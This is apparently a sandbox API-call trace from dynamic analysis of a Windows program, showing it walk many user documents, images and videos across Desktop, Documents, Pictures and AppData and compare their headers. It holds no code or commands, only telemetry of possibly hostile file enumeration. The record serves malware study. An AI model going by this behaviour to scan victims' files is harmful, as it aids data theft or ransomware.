[0079.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/glcl.pptx") returned 48
[0079.598] SetFilePointer (in: hFile=0xa0, lDistanceToMove=51968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcb00
[0079.598] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.598] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.598] SetFilePointer (in: hFile=0xa0, lDistanceToMove=51968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcb00
[0079.598] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.598] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Vfr7MWb/3tyaTZvc1Z7KhwIE.gif" | out: _Str="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif") returned="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif"
[0079.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif") returned 65
[0079.598] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.598] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/EoRqdbqjTJF1OHK.png" | out: _Str="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png") returned="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png"
[0079.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png") returned 57
[0079.598] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.598] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/ZkrsD-4QoaX5JM7.png" | out: _Str="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png") returned="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png"
[0079.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png") returned 57
[0079.598] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.598] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/NP2rpT4NzHNMZVjOcd.jpg" | out: _Str="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg") returned="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg"
[0079.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg") returned 60
[0079.598] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.598] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/MCYGB.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/mcygb.pptx") returned="file:///c:/users/atveydl98z/documents/mcygb.pptx"
[0079.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/mcygb.pptx") returned 49
[0079.599] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.599] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Gu-F.gif" | out: _Str="file:///c:/users/atveydl98z/desktop/gu-f.gif") returned="file:///c:/users/atveydl98z/desktop/gu-f.gif"
[0079.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/gu-f.gif") returned 45
[0079.599] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.599] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/DoTTc_9pLZQ5O597iMzE.ots" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots") returned="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots"
[0079.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots") returned 69
[0079.599] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.599] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/2GRp.xlsx" | out: _Str="file:///c:/users/atveydl98z/documents/2grp.xlsx") returned="file:///c:/users/atveydl98z/documents/2grp.xlsx"
[0079.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/2grp.xlsx") returned 48
[0079.599] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.599] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/SIpBK.bmp" | out: _Str="file:///c:/users/atveydl98z/desktop/sipbk.bmp") returned="file:///c:/users/atveydl98z/desktop/sipbk.bmp"
[0079.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/sipbk.bmp") returned 46
[0079.599] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.599] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/wFG.mkv" | out: _Str="file:///c:/users/atveydl98z/videos/wfg.mkv") returned="file:///c:/users/atveydl98z/videos/wfg.mkv"
[0079.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/wfg.mkv") returned 43
[0079.599] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.599] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/t5_Cs_EK5wGuMUtXO.odp" | out: _Str="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp") returned="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp"
[0079.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp") returned 60
[0079.599] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.599] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/_vv7923NmD.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif") returned="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif"
[0079.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif") returned 52
[0079.599] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.600] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/S0hxf5vBqG3tUOu7yAIH.png" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png") returned="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png"
[0079.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png") returned 69
[0079.600] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.600] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/pan9H-9JW%20Sz4.doc" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc"
[0079.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc") returned 68
[0079.600] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.600] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/eC0L%20bsovAg9A8NY6n.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp") returned="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp"
[0079.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp") returned 62
[0079.600] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.600] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Olxk.ots" | out: _Str="file:///c:/users/atveydl98z/desktop/olxk.ots") returned="file:///c:/users/atveydl98z/desktop/olxk.ots"
[0079.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/olxk.ots") returned 45
[0079.600] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.600] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/3NEJQPyX%20E.rtf" | out: _Str="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf") returned="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf"
[0079.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf") returned 53
[0079.600] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.600] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/TnXw0VodS.docx" | out: _Str="file:///c:/users/atveydl98z/documents/tnxw0vods.docx") returned="file:///c:/users/atveydl98z/documents/tnxw0vods.docx"
[0079.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/tnxw0vods.docx") returned 53
[0079.600] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.600] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/pIm74EMK.xlsx" | out: _Str="file:///c:/users/atveydl98z/documents/pim74emk.xlsx") returned="file:///c:/users/atveydl98z/documents/pim74emk.xlsx"
[0079.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/pim74emk.xlsx") returned 52
[0079.600] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.600] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/IIfN4U9wWEiqmdCl9.bmp" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/iifn4u9wweiqmdcl9.bmp") returned="file:///c:/users/atveydl98z/appdata/roaming/iifn4u9wweiqmdcl9.bmp"
[0079.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/iifn4u9wweiqmdcl9.bmp") returned 66
[0079.601] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.601] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/RNnDLhlYrGWUPi.xlsx" | out: _Str="file:///c:/users/atveydl98z/documents/rnndlhlyrgwupi.xlsx") returned="file:///c:/users/atveydl98z/documents/rnndlhlyrgwupi.xlsx"
[0079.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/rnndlhlyrgwupi.xlsx") returned 58
[0079.601] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.601] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/_ODawwKfl1ra.docx" | out: _Str="file:///c:/users/atveydl98z/documents/_odawwkfl1ra.docx") returned="file:///c:/users/atveydl98z/documents/_odawwkfl1ra.docx"
[0079.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/_odawwkfl1ra.docx") returned 56
[0079.601] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.601] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/r2ojuqWylgit6.ots" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/r2ojuqwylgit6.ots") returned="file:///c:/users/atveydl98z/appdata/roaming/r2ojuqwylgit6.ots"
[0079.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/r2ojuqwylgit6.ots") returned 62
[0079.601] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.601] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/k4k5N.flv" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/k4k5n.flv") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/k4k5n.flv"
[0079.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/k4k5n.flv") returned 58
[0079.601] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.601] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/mfOtGB5shNY.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/mfotgb5shny.gif") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/mfotgb5shny.gif"
[0079.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/mfotgb5shny.gif") returned 84
[0079.601] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.601] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/_1X3x.png" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/_1x3x.png") returned="file:///c:/users/atveydl98z/appdata/roaming/_1x3x.png"
[0079.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/_1x3x.png") returned 54
[0079.601] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.601] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/Qk7rBUTISPvIZu7iod.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/qk7rbutispvizu7iod.gif") returned="file:///c:/users/atveydl98z/pictures/qk7rbutispvizu7iod.gif"
[0079.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/qk7rbutispvizu7iod.gif") returned 60
[0079.601] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.602] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/ckLlfrRI-ZJDKcmsAe.gif" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/ckllfrri-zjdkcmsae.gif") returned="file:///c:/users/atveydl98z/appdata/roaming/ckllfrri-zjdkcmsae.gif"
[0079.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/ckllfrri-zjdkcmsae.gif") returned 67
[0079.602] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.602] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/L9uJ7p%20fbA_9_y.ppt" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/l9uj7p%20fba_9_y.ppt") returned="file:///c:/users/atveydl98z/appdata/roaming/l9uj7p%20fba_9_y.ppt"
[0079.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/l9uj7p%20fba_9_y.ppt") returned 65
[0079.602] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.602] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/encWJ2/QTvVz.ots" | out: _Str="file:///c:/users/atveydl98z/desktop/encwj2/qtvvz.ots") returned="file:///c:/users/atveydl98z/desktop/encwj2/qtvvz.ots"
[0079.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/encwj2/qtvvz.ots") returned 53
[0079.602] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.602] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/YZ5jE7_%203.pps" | out: _Str="file:///c:/users/atveydl98z/documents/yz5je7_%203.pps") returned="file:///c:/users/atveydl98z/documents/yz5je7_%203.pps"
[0079.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/yz5je7_%203.pps") returned 54
[0079.602] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.602] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/JojE0p8BocqGJp%20O6.pps" | out: _Str="file:///c:/users/atveydl98z/documents/joje0p8bocqgjp%20o6.pps") returned="file:///c:/users/atveydl98z/documents/joje0p8bocqgjp%20o6.pps"
[0079.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/joje0p8bocqgjp%20o6.pps") returned 62
[0079.602] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.602] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/swPAr5UKZeY.xls" | out: _Str="file:///c:/users/atveydl98z/documents/swpar5ukzey.xls") returned="file:///c:/users/atveydl98z/documents/swpar5ukzey.xls"
[0079.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/swpar5ukzey.xls") returned 54
[0079.602] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.602] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/3JBbRdK5kxYke.jpg" | out: _Str="file:///c:/users/atveydl98z/desktop/3jbbrdk5kxyke.jpg") returned="file:///c:/users/atveydl98z/desktop/3jbbrdk5kxyke.jpg"
[0079.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/3jbbrdk5kxyke.jpg") returned 54
[0079.602] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.602] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/qQUJwic.doc" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/qqujwic.doc") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/qqujwic.doc"
[0079.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/qqujwic.doc") returned 60
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.603] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/qu0oigomB7AP.gif" | out: _Str="file:///c:/users/atveydl98z/desktop/qu0oigomb7ap.gif") returned="file:///c:/users/atveydl98z/desktop/qu0oigomb7ap.gif"
[0079.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/qu0oigomb7ap.gif") returned 53
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.603] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/xsdx_zRd.docx" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/xsdx_zrd.docx") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/xsdx_zrd.docx"
[0079.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/xsdx_zrd.docx") returned 62
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.603] _strlwr (in: _Str="file:///C:/Users/ATVEYD~1/Desktop/49343.doc" | out: _Str="file:///c:/users/atveyd~1/desktop/49343.doc") returned="file:///c:/users/atveyd~1/desktop/49343.doc"
[0079.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveyd~1/desktop/49343.doc") returned 44
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.603] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
